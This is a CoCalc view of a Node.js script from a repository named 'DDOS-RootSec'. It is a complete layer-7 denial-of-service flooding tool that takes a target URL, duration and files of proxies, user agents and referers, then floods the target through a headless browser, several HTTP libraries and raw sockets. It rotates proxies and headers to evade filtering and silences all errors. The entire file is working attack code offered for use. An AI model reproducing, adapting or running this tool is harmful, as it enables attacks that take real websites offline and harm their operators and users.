Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L7/BROWSER-ENGINE.js
4607 views
1
const url = require("url");
2
const chalk = require("chalk");
3
const EventEmitter = require('events');
4
const fs = require('fs');
5
const Browser = require('zombie');
6
const superagent = require('superagent');
7
require('superagent-proxy')(superagent)
8
const axios = require('axios');
9
const request = require('request');
10
const emitter = new EventEmitter();
11
emitter.setMaxListeners(Number.POSITIVE_INFINITY);
12
process.setMaxListeners(0);
13
EventEmitter.defaultMaxListeners = Infinity;
14
EventEmitter.prototype._maxListeners = Infinity;
15
16
process.on('uncaughtException', function (err) { }); //hataları yok et
17
process.on('unhandledRejection', function (err) { }); //hataları yok et
18
19
if(process.argv.length != 9)
20
{
21
console.log(chalk.red(`Wrong Usage!`));
22
console.log(chalk.yellow(`Usage: node BROWSER-ENGINE.js [URL] [TIME] [UA-FILE] [THREADS] [METHOD] [PROXY-FILE] [REFERER-FILE]`));
23
process.exit(3162);
24
}
25
26
var target = process.argv[2];
27
var time = process.argv[3];
28
var useragentFile = process.argv[4];
29
var threads = process.argv[5];
30
var method = process.argv[6];
31
var proxiesFile = process.argv[7];
32
var refererFile = process.argv[8];
33
var targetPathname = url.parse(target).path;
34
var targetHost = url.parse(target).host;
35
originTarget = target;
36
37
const proxies = fs.readFileSync(proxiesFile, 'utf-8').match(/\S+/g);
38
const userAgents = fs.readFileSync(useragentFile, 'utf-8').replace(/\r/g, '').split('\n');
39
const referers = fs.readFileSync(refererFile, 'utf-8',).replace(/\r/g, '').split('\n');
40
41
console.log(chalk.green(`Attack started on ${target} for ${time} seconds!`));
42
var browser = new Browser();
43
44
function BrowserEngine()
45
{
46
var proxy = proxies[Math.floor(Math.random() * proxies.length)];
47
var userAgent = userAgents[Math.floor(Math.random() * userAgents.length)];
48
var referer = referers[Math.floor(Math.random() * referers.length)];
49
50
target = originTarget.replace(/%RAND%/g, RandomString(RandomInteger(4, 16)));
51
52
console.log(chalk.green(`Attacking --> ${target} Proxy --> [${proxy}]`));
53
54
BrowserRequest(target, proxy, userAgent, referer);
55
FastFlood(target, targetHost, method, proxy, userAgent, referer);
56
SuperAgentRequest(target, proxy, userAgent, referer);
57
AxiosRequest(target, method, proxy, userAgent, referer);
58
NormalRequest(target, method, proxy, userAgent, referer);
59
}
60
61
setInterval(() => {
62
BrowserEngine();
63
});
64
65
setTimeout(() => process.exit(0), time * 1000);
66
67
function SuperAgentRequest(targetString, proxyString, uaString, refererString)
68
{
69
superagent
70
.get(targetString)
71
.proxy("http://" + proxyString)
72
.timeout(3600*1000)
73
.set('User-Agent', uaString)
74
.set("Referer", refererString)
75
.set('Cache-Control', 'no-cache')
76
.set('Connection', 'Keep-Alive')
77
.set('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9')
78
.set('Accept-Encoding', 'gzip, deflate, br')
79
.set('Accept-Language', 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7')
80
.set('Pragma', 'no-cache')
81
.set('Sec-Fetch-Dest', 'document')
82
.set('Sec-Fetch-Mode', 'navigate')
83
.set('Sec-Fetch-User', '?1')
84
.set('Upgrade-Insecure-Requests', "1")
85
.end((err, res) => {
86
if(err) {
87
//console.error(err);
88
return;
89
}
90
});
91
}
92
93
function BrowserRequest(targetString, proxyString, uaString, refererString)
94
{
95
browser.proxy = "http://" + proxyString;
96
97
browser.headers = {
98
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
99
"Accept-Encoding": "gzip, deflate, br",
100
"Accept-Language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7",
101
"Cache-Control": "no-cache",
102
"Pragma": "no-cache",
103
"Sec-Fetch-Dest": "document",
104
"Sec-Fetch-Mode": "navigate",
105
"Sec-Fetch-User": "?1",
106
"Upgrade-Insecure-Requests": "1",
107
"Connection": "Keep-Alive",
108
"Referer": refererString,
109
"User-Agent": uaString
110
};
111
112
browser.maxDuration = 400e3;
113
browser.maxWait = 380e3;
114
browser.waitDuration = '1000s';
115
browser.visit(targetString, () => {
116
browser.wait(370e3, () => {
117
browser.reload();
118
browser.wait(50e3, async () => {
119
await browser.deleteCookies();
120
await browser.window.close();
121
await browser.destroy();
122
browser = undefined;
123
delete browser;
124
return false;
125
});
126
});
127
});
128
}
129
130
function AxiosRequest(targetString, methodString, proxyString, uaString, refererString)
131
{
132
const config = {
133
method: methodString,
134
url: targetString,
135
headers: {
136
'User-Agent': uaString,
137
'Referer': refererString,
138
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
139
'Accept-Encoding': 'gzip, deflate, br',
140
'Accept-Language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
141
'Cache-Control': 'no-cache',
142
'Pragma': 'no-cache',
143
'Sec-Fetch-Dest': 'document',
144
'Sec-Fetch-Mode': 'navigate',
145
'Sec-Fetch-User': '?1',
146
'Upgrade-Insecure-Requests': "1",
147
'Connection': 'Keep-Alive'
148
},
149
proxy: {
150
host: proxyString.split(":")[0],
151
port: proxyString.split(":")[1]
152
}
153
}
154
axios(config);
155
}
156
157
function NormalRequest(targetString, methodString, proxyString, uaString, refererString)
158
{
159
request({
160
url: targetString,
161
method: methodString,
162
proxy: 'http://' + proxyString,
163
headers: {
164
'User-Agent': uaString,
165
'Referer': refererString,
166
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
167
'Accept-Encoding': 'gzip, deflate, br',
168
'Accept-Language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
169
'Cache-Control': 'no-cache',
170
'Pragma': 'no-cache',
171
'Sec-Fetch-Dest': 'document',
172
'Sec-Fetch-Mode': 'navigate',
173
'Sec-Fetch-User': '?1',
174
'Upgrade-Insecure-Requests': "1",
175
'Connection': 'Keep-Alive'
176
}
177
});
178
}
179
180
function FastFlood(targetString, targetHostString, methodString, proxyString, uaString, refererString)
181
{
182
var Socket = require('net').Socket();
183
Socket.connect(proxyString.split(":")[1], proxyString.split(":")[0]);
184
//Socket.setTimeout(10000);
185
for (var i = 0; i < 50; i++) {
186
Socket.write(`GET ${targetString} HTTP/1.1\r\nHost: ${targetHostString}\r\nReferer: ${refererString}\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate, br\r\nAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7\r\nPragma: no-cache\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-User: ?1\r\nUpgrade-Insecure-Requests: 1\r\nCache-Control: no-cache\r\nUser-Agent: ${uaString}\r\nConnection: Keep-Alive\r\n\r\n`);
187
}
188
Socket.on('data', function () { setTimeout(function () { Socket.destroy(); return delete Socket; }, 5000); })
189
}
190
191
function RandomInteger(min, max) {
192
return Math.floor(
193
Math.random() * (max - min) + min
194
)
195
}
196
197
function RandomString(length) {
198
var result = '';
199
var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
200
var charactersLength = characters.length;
201
for ( var i = 0; i < length; i++ ) {
202
result += characters.charAt(Math.floor(Math.random() * charactersLength));
203
}
204
return result;
205
}
206